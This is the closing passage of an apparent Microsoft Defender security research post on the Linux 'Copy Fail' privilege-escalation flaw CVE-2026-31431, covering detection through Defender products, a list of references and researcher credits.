Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Vulnerability Management (MDVM) also surfaces devices in customer environments that might be vulnerable to CVE-2026-31431.

References

• NVD – CVE-2026-31431
• CVE-2026-31431 – Red Hat Customer Portal
• Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. – Xint
• New Linux ‘Copy Fail’ flaw gives hackers root on major distros

This research is provided by Microsoft Defender Security Research with contributions from Andrea Lelli, Dietrich Nembhard, Nir Avnery, Ori Glassman, and  members of Microsoft Threat Intelligence.

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